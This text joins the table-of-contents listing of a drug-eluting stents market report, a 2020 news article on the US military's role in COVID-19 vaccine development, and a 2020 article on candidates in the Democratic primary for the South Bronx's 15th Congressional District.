Market Share Shift in the United Kingdom by End-Use: 2012 VS 2020 VS 2027 SPAIN Table 109: Spanish Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020 to 2027 Table 110: Spanish Drug-Eluting Stents Historic Market Review by Coating in US$ Million: 2012-2019 Table 111: Drug-Eluting Stents Market in Spain: Percentage Share Breakdown of Sales by Coating for 2012, 2020, and 2027 Table 112: Spanish Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by Application: 2020 to 2027 Table 113: Drug-Eluting Stents Market in Spain: Summarization of Historic Demand Patterns in US$ Million by Application for 2012-2019 Table 114: Spanish Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 115: Spanish Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 116: Drug-Eluting Stents Market in Spain: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 117: Spanish Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 RUSSIA Table 118: Russian Drug-Eluting Stents Market Estimates and Projections in US$ Million by Coating: 2020 to 2027 Table 119: Drug-Eluting Stents Market in Russia by Coating: A Historic Review in US$ Million for 2012-2019 Table 120: Russian Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 121: Russian Drug-Eluting Stents Latent Demand Forecasts in US$ Million by Application: 2020 to 2027 Table 122: Drug-Eluting Stents Historic Demand Patterns in Russia by Application in US$ Million for 2012-2019 Table 123: Drug-Eluting Stents Market Share Breakdown in Russia by Application: 2012 VS 2020 VS 2027 Table 124: Russian Drug-Eluting Stents Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 125: Drug-Eluting Stents Historic Demand Patterns in Russia by End-Use in US$ Million for 2012-2019 Table 126: Drug-Eluting Stents Market Share Breakdown in Russia by End-Use: 2012 VS 2020 VS 2027 REST OF EUROPE Table 127: Rest of Europe Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020-2027 Table 128: Drug-Eluting Stents Market in Rest of Europe in US$ Million by Coating: A Historic Review for the Period 2012-2019 Table 129: Rest of Europe Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 130: Rest of Europe Drug-Eluting Stents Addressable Market Opportunity in US$ Million by Application: 2020-2027 Table 131: Drug-Eluting Stents Market in Rest of Europe: Summarization of Historic Demand in US$ Million by Application for the Period 2012-2019 Table 132: Rest of Europe Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 133: Rest of Europe Drug-Eluting Stents Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 134: Drug-Eluting Stents Market in Rest of Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 135: Rest of Europe Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 ASIA-PACIFIC Table 136: Asia-Pacific Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 137: Drug-Eluting Stents Market in Asia-Pacific: Historic Market Analysis in US$ Million by Region/Country for the Period 2012-2019 Table 138: Asia-Pacific Drug-Eluting Stents Market Share Analysis by Region/Country: 2012 VS 2020 VS 2027 Table 139: Drug-Eluting Stents Market in Asia-Pacific by Coating: Estimates and Projections in US$ Million for the Period 2020-2027 Table 140: Asia-Pacific Drug-Eluting Stents Historic Market Scenario in US$ Million by Coating: 2012-2019 Table 141: Asia-Pacific Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 142: Drug-Eluting Stents Quantitative Demand Analysis in Asia-Pacific in US$ Million by Application: 2020-2027 Table 143: Asia-Pacific Drug-Eluting Stents Historic Market Review in US$ Million by Application: 2012-2019 Table 144: Asia-Pacific Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by Application for 2012, 2020, and 2027 Table 145: Drug-Eluting Stents Quantitative Demand Analysis in Asia-Pacific in US$ Million by End-Use: 2020-2027 Table 146: Asia-Pacific Drug-Eluting Stents Historic Market Review in US$ Million by End-Use: 2012-2019 Table 147: Asia-Pacific Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by End-Use for 2012, 2020, and 2027 AUSTRALIA Table 148: Drug-Eluting Stents Market in Australia: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 149: Australian Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 150: Australian Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 151: Drug-Eluting Stents Market in Australia: Annual Sales Estimates and Forecasts in US$ Million by Application for the Period 2020-2027 Table 152: Australian Drug-Eluting Stents Market in Retrospect in US$ Million by Application: 2012-2019 Table 153: Drug-Eluting Stents Market Share Distribution in Australia by Application: 2012 VS 2020 VS 2027 Table 154: Drug-Eluting Stents Market in Australia: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 155: Australian Drug-Eluting Stents Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 156: Drug-Eluting Stents Market Share Distribution in Australia by End-Use: 2012 VS 2020 VS 2027 INDIA Table 157: Indian Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020 to 2027 Table 158: Indian Drug-Eluting Stents Historic Market Review by Coating in US$ Million: 2012-2019 Table 159: Drug-Eluting Stents Market in India: Percentage Share Breakdown of Sales by Coating for 2012, 2020, and 2027 Table 160: Indian Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by Application: 2020 to 2027 Table 161: Drug-Eluting Stents Market in India: Summarization of Historic Demand Patterns in US$ Million by Application for 2012-2019 Table 162: Indian Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 163: Indian Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 164: Drug-Eluting Stents Market in India: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 165: Indian Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 SOUTH KOREA Table 166: Drug-Eluting Stents Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 167: South Korean Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 168: Drug-Eluting Stents Market Share Distribution in South Korea by Coating: 2012 VS 2020 VS 2027 Table 169: Drug-Eluting Stents Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by Application for the Period 2020-2027 Table 170: South Korean Drug-Eluting Stents Historic Market Analysis in US$ Million by Application: 2012-2019 Table 171: Drug-Eluting Stents Market Share Distribution in South Korea by Application: 2012 VS 2020 VS 2027 Table 172: Drug-Eluting Stents Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2020-2027 Table 173: South Korean Drug-Eluting Stents Historic Market Analysis in US$ Million by End-Use: 2012-2019 Table 174: Drug-Eluting Stents Market Share Distribution in South Korea by End-Use: 2012 VS 2020 VS 2027 REST OF ASIA-PACIFIC Table 175: Rest of Asia-Pacific Market for Drug-Eluting Stents: Annual Sales Estimates and Projections in US$ Million by Coating for the Period 2020-2027 Table 176: Drug-Eluting Stents Market in Rest of Asia-Pacific: Historic Sales Analysis in US$ Million by Coating for the Period 2012-2019 Table 177: Rest of Asia-Pacific Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 178: Rest of Asia-Pacific Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 179: Rest of Asia-Pacific Drug-Eluting Stents Market in US$ Million by Application: 2012-2019 Table 180: Drug-Eluting Stents Market Share Shift in Rest of Asia-Pacific by Application: 2012 VS 2020 VS 2027 Table 181: Rest of Asia-Pacific Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 182: Rest of Asia-Pacific Drug-Eluting Stents Market in US$ Million by End-Use: 2012-2019 Table 183: Drug-Eluting Stents Market Share Shift in Rest of Asia-Pacific by End-Use: 2012 VS 2020 VS 2027 LATIN AMERICA Table 184: Latin American Drug-Eluting Stents Market Trends by Region/Country in US$ Million: 2020-2027 Table 185: Drug-Eluting Stents Market in Latin America in US$ Million by Region/Country: A Historic Perspective for the Period 2012-2019 Table 186: Latin American Drug-Eluting Stents Market Percentage Breakdown of Sales by Region/Country: 2012, 2020, and 2027 Table 187: Latin American Drug-Eluting Stents Market Growth Prospects in US$ Million by Coating for the Period 2020-2027 Table 188: Drug-Eluting Stents Historic Market Analysis in Latin America in US$ Million by Coating: 2012-2019 Table 189: Latin American Drug-Eluting Stents Market by Coating: Percentage Breakdown of Sales for 2012, 2020, and 2027 Table 190: Latin American Demand for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 191: Drug-Eluting Stents Market Review in Latin America in US$ Million by Application: 2012-2019 Table 192: Latin American Drug-Eluting Stents Market Share Breakdown by Application: 2012 VS 2020 VS 2027 Table 193: Latin American Demand for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 194: Drug-Eluting Stents Market Review in Latin America in US$ Million by End-Use: 2012-2019 Table 195: Latin American Drug-Eluting Stents Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 ARGENTINA Table 196: Argentinean Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020-2027 Table 197: Drug-Eluting Stents Market in Argentina in US$ Million by Coating: A Historic Review for the Period 2012-2019 Table 198: Argentinean Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 199: Argentinean Drug-Eluting Stents Addressable Market Opportunity in US$ Million by Application: 2020-2027 Table 200: Drug-Eluting Stents Market in Argentina: Summarization of Historic Demand in US$ Million by Application for the Period 2012-2019 Table 201: Argentinean Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 202: Argentinean Drug-Eluting Stents Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 203: Drug-Eluting Stents Market in Argentina: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 204: Argentinean Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 BRAZIL Table 205: Drug-Eluting Stents Market in Brazil by Coating: Estimates and Projections in US$ Million for the Period 2020-2027 Table 206: Brazilian Drug-Eluting Stents Historic Market Scenario in US$ Million by Coating: 2012-2019 Table 207: Brazilian Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 208: Drug-Eluting Stents Quantitative Demand Analysis in Brazil in US$ Million by Application: 2020-2027 Table 209: Brazilian Drug-Eluting Stents Historic Market Review in US$ Million by Application: 2012-2019 Table 210: Brazilian Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by Application for 2012, 2020, and 2027 Table 211: Drug-Eluting Stents Quantitative Demand Analysis in Brazil in US$ Million by End-Use: 2020-2027 Table 212: Brazilian Drug-Eluting Stents Historic Market Review in US$ Million by End-Use: 2012-2019 Table 213: Brazilian Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by End-Use for 2012, 2020, and 2027 MEXICO Table 214: Drug-Eluting Stents Market in Mexico: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 215: Mexican Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 216: Mexican Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 217: Drug-Eluting Stents Market in Mexico: Annual Sales Estimates and Forecasts in US$ Million by Application for the Period 2020-2027 Table 218: Mexican Drug-Eluting Stents Market in Retrospect in US$ Million by Application: 2012-2019 Table 219: Drug-Eluting Stents Market Share Distribution in Mexico by Application: 2012 VS 2020 VS 2027 Table 220: Drug-Eluting Stents Market in Mexico: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 221: Mexican Drug-Eluting Stents Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 222: Drug-Eluting Stents Market Share Distribution in Mexico by End-Use: 2012 VS 2020 VS 2027 REST OF LATIN AMERICA Table 223: Rest of Latin America Drug-Eluting Stents Market Estimates and Projections in US$ Million by Coating: 2020 to 2027 Table 224: Drug-Eluting Stents Market in Rest of Latin America by Coating: A Historic Review in US$ Million for 2012-2019 Table 225: Rest of Latin America Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 226: Rest of Latin America Drug-Eluting Stents Latent Demand Forecasts in US$ Million by Application: 2020 to 2027 Table 227: Drug-Eluting Stents Historic Demand Patterns in Rest of Latin America by Application in US$ Million for 2012-2019 Table 228: Drug-Eluting Stents Market Share Breakdown in Rest of Latin America by Application: 2012 VS 2020 VS 2027 Table 229: Rest of Latin America Drug-Eluting Stents Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 230: Drug-Eluting Stents Historic Demand Patterns in Rest of Latin America by End-Use in US$ Million for 2012-2019 Table 231: Drug-Eluting Stents Market Share Breakdown in Rest of Latin America by End-Use: 2012 VS 2020 VS 2027 MIDDLE EAST Table 232: The Middle East Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 233: Drug-Eluting Stents Market in the Middle East by Region/Country in US$ Million: 2012-2019 Table 234: The Middle East Drug-Eluting Stents Market Share Breakdown by Region/Country: 2012, 2020, and 2027 Table 235: The Middle East Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020 to 2027 Table 236: The Middle East Drug-Eluting Stents Historic Market by Coating in US$ Million: 2012-2019 Table 237: Drug-Eluting Stents Market in the Middle East: Percentage Share Breakdown of Sales by Coating for 2012,2020, and 2027 Table 238: The Middle East Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by Application: 2020 to 2027 Table 239: Drug-Eluting Stents Market in the Middle East: Summarization of Historic Demand Patterns in US$ Million by Application for 2012-2019 Table 240: The Middle East Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 241: The Middle East Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 242: Drug-Eluting Stents Market in the Middle East: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 243: The Middle East Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 IRAN Table 244: Iranian Market for Drug-Eluting Stents: Annual Sales Estimates and Projections in US$ Million by Coating for the Period 2020-2027 Table 245: Drug-Eluting Stents Market in Iran: Historic Sales Analysis in US$ Million by Coating for the Period 2012-2019 Table 246: Iranian Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 247: Iranian Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 248: Iranian Drug-Eluting Stents Market in US$ Million by Application: 2012-2019 Table 249: Drug-Eluting Stents Market Share Shift in Iran by Application: 2012 VS 2020 VS 2027 Table 250: Iranian Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 251: Iranian Drug-Eluting Stents Market in US$ Million by End-Use: 2012-2019 Table 252: Drug-Eluting Stents Market Share Shift in Iran by End-Use: 2012 VS 2020 VS 2027 ISRAEL Table 253: Israeli Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020-2027 Table 254: Drug-Eluting Stents Market in Israel in US$ Million by Coating: A Historic Review for the Period 2012-2019 Table 255: Israeli Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 256: Israeli Drug-Eluting Stents Addressable Market Opportunity in US$ Million by Application: 2020-2027 Table 257: Drug-Eluting Stents Market in Israel: Summarization of Historic Demand in US$ Million by Application for the Period 2012-2019 Table 258: Israeli Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 259: Israeli Drug-Eluting Stents Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 260: Drug-Eluting Stents Market in Israel: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 261: Israeli Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 SAUDI ARABIA Table 262: Saudi Arabian Drug-Eluting Stents Market Growth Prospects in US$ Million by Coating for the Period 2020-2027 Table 263: Drug-Eluting Stents Historic Market Analysis in Saudi Arabia in US$ Million by Coating: 2012-2019 Table 264: Saudi Arabian Drug-Eluting Stents Market by Coating: Percentage Breakdown of Sales for 2012, 2020, and 2027 Table 265: Saudi Arabian Demand for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 266: Drug-Eluting Stents Market Review in Saudi Arabia in US$ Million by Application: 2012-2019 Table 267: Saudi Arabian Drug-Eluting Stents Market Share Breakdown by Application: 2012 VS 2020 VS 2027 Table 268: Saudi Arabian Demand for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 269: Drug-Eluting Stents Market Review in Saudi Arabia in US$ Million by End-Use: 2012-2019 Table 270: Saudi Arabian Drug-Eluting Stents Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 UNITED ARAB EMIRATES Table 271: Drug-Eluting Stents Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 272: United Arab Emirates Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 273: Drug-Eluting Stents Market Share Distribution in United Arab Emirates by Coating: 2012 VS 2020 VS 2027 Table 274: Drug-Eluting Stents Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by Application for the Period 2020-2027 Table 275: United Arab Emirates Drug-Eluting Stents Historic Market Analysis in US$ Million by Application: 2012-2019 Table 276: Drug-Eluting Stents Market Share Distribution in United Arab Emirates by Application: 2012 VS 2020 VS 2027 Table 277: Drug-Eluting Stents Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2020-2027 Table 278: United Arab Emirates Drug-Eluting Stents Historic Market Analysis in US$ Million by End-Use: 2012-2019 Table 279: Drug-Eluting Stents Market Share Distribution in United Arab Emirates by End-Use: 2012 VS 2020 VS 2027 REST OF MIDDLE EAST Table 280: Drug-Eluting Stents Market in Rest of Middle East: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 281: Rest of Middle East Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 282: Rest of Middle East Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 283: Drug-Eluting Stents Market in Rest of Middle East: Annual Sales Estimates and Forecasts in US$ Million by Application for the Period 2020-2027 Table 284: Rest of Middle East Drug-Eluting Stents Market in Retrospect in US$ Million by Application: 2012-2019 Table 285: Drug-Eluting Stents Market Share Distribution in Rest of Middle East by Application: 2012 VS 2020 VS 2027 Table 286: Drug-Eluting Stents Market in Rest of Middle East: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 287: Rest of Middle East Drug-Eluting Stents Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 288: Drug-Eluting Stents Market Share Distribution in Rest of Middle East by End-Use: 2012 VS 2020 VS 2027 AFRICA Table 289: African Drug-Eluting Stents Market Estimates and Projections in US$ Million by Coating: 2020 to 2027 Table 290: Drug-Eluting Stents Market in Africa by Coating: A Historic Review in US$ Million for 2012-2019 Table 291: African Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 292: African Drug-Eluting Stents Latent Demand Forecasts in US$ Million by Application: 2020 to 2027 Table 293: Drug-Eluting Stents Historic Demand Patterns in Africa by Application in US$ Million for 2012-2019 Table 294: Drug-Eluting Stents Market Share Breakdown in Africa by Application: 2012 VS 2020 VS 2027 Table 295: African Drug-Eluting Stents Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 296: Drug-Eluting Stents Historic Demand Patterns in Africa by End-Use in US$ Million for 2012-2019 Table 297: Drug-Eluting Stents Market Share Breakdown in Africa by End-Use: 2012 VS 2020 VS 2027

IV. COMPETITION



Total Companies Profiled: 35

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The race is heating up for a vaccine against COVID-19, and the U.S. military is vying for the win, Defense Secretary Mark Esper said Friday on an appearance on NBC's "Today" show.

Esper said a viable, "scalable" vaccine will be ready by the end of the year, meaning one that would be effective and available to protect all Americans and others worldwide from the deadly virus. The disease caused by the novel coronavirus has killed more than 333,000 people across the globe, including nearly 95,000 in the U.S.

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"When Eisenhower launched the U.S. military against Nazi Germany, he didn't say we might win World War II; we'll try. When John F. Kennedy aspired to put a man on the moon, he didn't say we'll give it a good shot. He said we will do it.' The Defense Department once again is committed to get this done," Esper said.

Pharmaceutical companies, governments and academic institutions around the world are in a race to develop a vaccine. In the U.S., the Trump administration has launched Operation Warp Speed, a public-private partnership that includes the Departments of Health and Human Services, Defense, Agriculture, Energy and Veterans Affairs to work on treatments and vaccines against the virus.

Army Gen. Gustave Perna, head of U.S. Army Materiel Command, was named chief operating officer of Operation Warp Speed last week. He will head the initiative together with Moncef Slaoui, former chairman of global vaccines at GlaxoSmithKline, who was named chief adviser.

In April, DoD officials announced that Army scientists at the U.S. Army Medical Research Institute of Infectious Diseases at Fort Detrick, Maryland, had started testing a vaccine on non-primate animals. More than 700 employees have been working on the project at the facility since Jan. 10, when the virus' sequence -- its genetic makeup -- was published.

Several private companies are in various stages of clinical trials, including Pfizer and Moderna Therapeutics. The U.S. Biomedical Advanced Research and Development Authority contributed $1 billion to AstraZeneca and its partner the University of Oxford to develop a vaccine starting this fall.

Last week, Oxford University revealed that a single dose of its developmental vaccine prevented SARS-CoV-2 pneumonia in six rhesus macaques. Results of the study, which is ongoing, have not been peer-reviewed.

Other companies working on the effort include CureVac, GlaxoSmithKline, Inovio Pharmaceuticals, Johnson & Johnson and Sanofi.

The DoD is involved in at least five different clinical vaccine trials, as well as supporting other federal agencies conducting their own testing. The U.S. military's interest and contributions to vaccine development and inoculation date to the Revolutionary War, when Gen. George Washington ordered the inoculation of all susceptible troops against smallpox in 1777.

Esper told viewers of "Today" that he is "absolutely confident" there will be a vaccine by the end of the year, affirming a vow he made last Friday at the White House.

"Winning matters, and we will deliver, by the end of this year, a vaccine at scale to treat the American people and our partners abroad," he said.

-- Patricia Kime can be reached at Patricia.Kime@Monster.com. Follow her on Twitter @patriciakime.

Related: Meet the Army Lieutenant Racing to Develop a Coronavirus Vaccine
Some congressional districts in New York are awkwardly shaped. Rep. Jerry Nadlers district paints a wide line down the west side of Manhattan before hopping across the harbor, hugging the thinnest shred of coast and growing again to a big splotch of southern Brooklyn. Rep. Nydia Velazquezs district may as well be a subway line, stretching from southern Brooklyn to Lower Manhattan, North Brooklyn and out to Central Queens. And those are nothing compared to some of the gerrymandered monstrosities in states such as Maryland.

But New York City also has at least one straightforwardly defined district: the 15th Congressional District, wholly encompassing the area known as the South Bronx, from Hunts Point to Yankee Stadium, up to Fordham Road and the Bronx Zoo. Geographically coherent and densely populated, its the second-smallest district by area in the whole country.

Now this South Bronx community is going to get a new representative in Washington for the first time in 30 years. Rep. Jose E. Serrano, who has been in office since 1990, decided not to seek reelection because of his worsening Parkinsons disease. While the 76-year-old Serrano had slowed down in recent years, he was in many ways an embodiment of the South Bronx. Its the district in New York with the highest Hispanic population, 65%, and Serrano is a native Spanish speaker, born in Puerto Rico. Its the poorest congressional district in the nation, and Serrano grew up in Bronx public housing. It may be the most deeply Democratic district in the country, where 94% of voters supported Hillary Clinton in 2016, and Serrano is among the most liberal representatives and among the least likely to work across the aisle. He lives on the Grand Concourse, in the heart of the district.

The last one may seem obvious, but living in the district isnt a given among the 12 Democrats who are running to fill the seat in the June 23 Democratic primary. Among the top contenders, only Assemblyman Michael Blake and housing activist Samelys Lopez have lived in the district for more than a year. Both New York City Councilman Ydanis Rodriguez and former City Council Speaker Melissa Mark-Viverito live in Manhattan. New York City Councilman Ruben Diaz Sr. lives just a few blocks outside the district. His council colleague Ritchie Torres used to live elsewhere in the Bronx, but moved into the district last year.

But residency is just one factor of dozens that voters can consider when picking their next champion. Whats their ethnicity? Do their politics align with mine? Are they religious? As the primary approaches and some Bronxites make the argument that the conservative Rev. Diaz doesnt represent the districts values, the races most salient question has become who, if anyone, does?

City & State asked some of the leading candidates directly, What makes you, personally, the best one to represent the district and its people? Their responses revealed a lot about their strategy.

Torres, an Afro-Latino Bronx native with roots in Puerto Rico, started his answer with a practiced line: Im born, bred and battle-tested in the Bronx, he said. The struggles of the Bronx are hardly an abstraction to me.

Blake, a black man whose parents immigrated from Jamaica, emphasized that he was raised in the district, even mentioning his childhood street corner in the neighborhood of Fordham Heights. I believe in The Bronx because Im living proof of what happens when The Bronx believes in a kid from Creston and Burnside, he wrote in a statement emailed to City & State.

Lopez, who was born in Puerto Rico but raised in the Bronx, painted the district as a sanctuary. The South Bronx gave my family a refuge after three years in a New York City shelter and welcomed us into its beautiful community, she wrote. The South Bronx saved my life and there's nothing I wont do to save my home.

Unlike some of their leading opponents, those three candidates live in the district, and made sure to emphasize it. But insiders werent so sure that residency matters much in this race. Its extraordinarily important to folks that are in that district that the person who is chosen to represent them really shares a real sense and real understanding of their lives, said Debralee Santos, editor of the Bronx Free Press, a weekly newspaper that publishes in both English and Spanish. But actually living within the borders of the district? Santos said she doesnt think it would be a problem, since these particular outsiders live close by, and understand the voters culture. Other districts may take issue with carpetbaggers, she said, but, I dont know that would necessarily be determinative here.

In fact, The New York Times reported that then-Assemblyman Serranos wife and children actually lived with him in Albany when he was first elected in 1990, though he also kept an apartment in the district.

The South Bronx is constantly being reinvented by immigration, said Fordham University professor Mark Naison, founder of the Bronx African American History Project. He cited the districts growing Mexican, Dominican and West African populations. Because so many people who now live in the district are relative newcomers, I don't think it matters much if people from slightly outside the district are running to represent it, he said. There is so much population movement occurring, I doubt if half of the people living in the district were there 30 years ago.

Mark-Viverito, Rodriguez and Diaz sure hope thats the case. Mark-Viverito lives about a mile outside the district, in East Harlem, but her old City Council district used to include part of the South Bronx. She noted that in her response to City & State, but the Puerto Rico-born Mark-Viverito also made an explicitly ethnic case for her candidacy. Being bilingual and a proud Boricua has given me the opportunity to communicate effectively with constituents and relate to their needs, she wrote.

Rodriguez, too, lives about a mile outside the district, in Inwood, and his council district only includes upper Manhattan. He didnt respond to a request for comment from City & State, but he also made a language-based argument in a May debate hosted by Gotham Gazette. Hoy, most of the people living in the 15th Congressional District, they have Spanish as their first language, said Rodriguez, who was born in the Dominican Republic. I was born and raised speaking Spanish and connecting with my brothers and sisters from the African American, Asian and other ethnic backgrounds.

Diaz did not respond to City & States request for comment, but few question his Bronx credentials. He lives just blocks outside the district, in the Parkchester housing development, and the church he pastors, Iglesia Cristiana Comunidad, is within the district. The state Senate district he used to represent and the City Council district he represents now are almost entirely contained within the congressional district boundaries.

So Diazs critics are making a different argument, saying the Democrats socially conservative, anti-abortion, anti-gay politics dont represent the districts views. Many of the candidates have attacked Diaz for his voting record and his long history of offensive comments, but Torres, who is openly gay, has made the case most clearly. There's a cruel irony that a Trump Republican could represent the most Democratic district in America, he told Newsweek this month. And Torres insists thats a real possibility. Some Democrats have worried for a year that the wealth of candidates with more mainstream Democratic views would split the vote, allowing Diaz to win with a relatively small share of the vote. With just weeks until mail-in ballots reach voters, Torres describes Diaz as the front-runner.

Theres no question that if the race were held today, Ruben Diaz would win on the strength of name recognition. Anyone who believes otherwise is delusional, he said.

Since Torres joined the race, he has presented himself as the candidate that liberal voters should rally behind to beat the powerful Diaz  but with 10 other challengers, he wasn't exactly successful in clearing the field, despite amassing an impressive war chest. Some of those opposing candidates have criticized Torres eye-popping fundraising totals because hes taken money from real estate developers and such controversial figures as hedge fund billionaire Daniel Loeb. While Torres has championed tenants rights in the City Council, he has never shied away from taking donations from the real estate industry  and he told City & State that raising big money is the only way to beat Diaz. If you have less name recognition than the reverend and you have less resources than the reverend, how do you expect to beat him? he asked. That would be a neat magic trick.

As of the latest fundraising deadline on March 31, Torres had $929,000 on hand. Thats over seven times more than the next leading candidate, Diaz, who had $125,000 in his campaign account. Blake was in third, with $77,000, but could have a hidden, non-monetary advantage thanks to his high-profile labor endorsements from unions that are known for getting out the vote, like 1199 SEIU, 32BJ SEIU and DC37. Blakes status as one of the only non-Hispanic black candidates in the crowded field could also be an advantage if he can get big support from the black Bronxites who make up 28% of the district.

Its not just other candidates who say that Diaz doesnt represent the South Bronxs values. A political action committee called Bronx United is running TV and digital ads in the district slamming the reverend as a Republican look-alike who admired Donald Trump. Gay rights groups like the Human Rights Campaign have raised the alarm about Diaz without specifically endorsing any of his opponents.

But one South Bronx political operative, who spoke anonymously because they have worked with many of the candidates, doesnt think those outside groups will move the needle in the 15th district. Those people are the Twitter people. The political class, the operative said. The nonprofits, they think differently than the guys buying Dutch Masters at the bodega. Those Bronxites see Diaz  77 years old, born in Puerto Rico, speaking English with a thick accent  like an uncle. And of course, he has his flock. Twitter is not an organizing force in these communities, they said. Church is.

If any candidate could counter that claim though, it would be Samelys Lopez. The former nonprofit project manager has never held office before, unlike all her chief rivals, but shes earned headline grabbing endorsements from Rep. Alexandria Ocasio-Cortez, who represents a neighboring congressional district, as well as the Democratic Socialists of America and the Working Families Party. Lopez is a democratic socialist who has positioned herself as the most left-leaning candidate in the race.

Santos told City & State that, as an open seat in a district that has only a 2% non-Hispanic white population, the race has major implications for what leadership looks like in communities of color nationally. Are they in fact the AOC model  insurgent, revolutionary, paradigm-shifting upstarts? she said. Or will you find that the district chooses to opt for someone who is clearly aligned with traditional conduits of power and moves easily within those channels?

Lopez, the AOC-model candidate, wants to root her politics in the districts history. My platform is inspired by South Bronx revolutionary movements, she wrote, from the Young Lords to Hip Hop that empower poor and working class people against corrupt establishment power.

In the 15th Congressional District, the pitch to voters always has to come back to the culture.
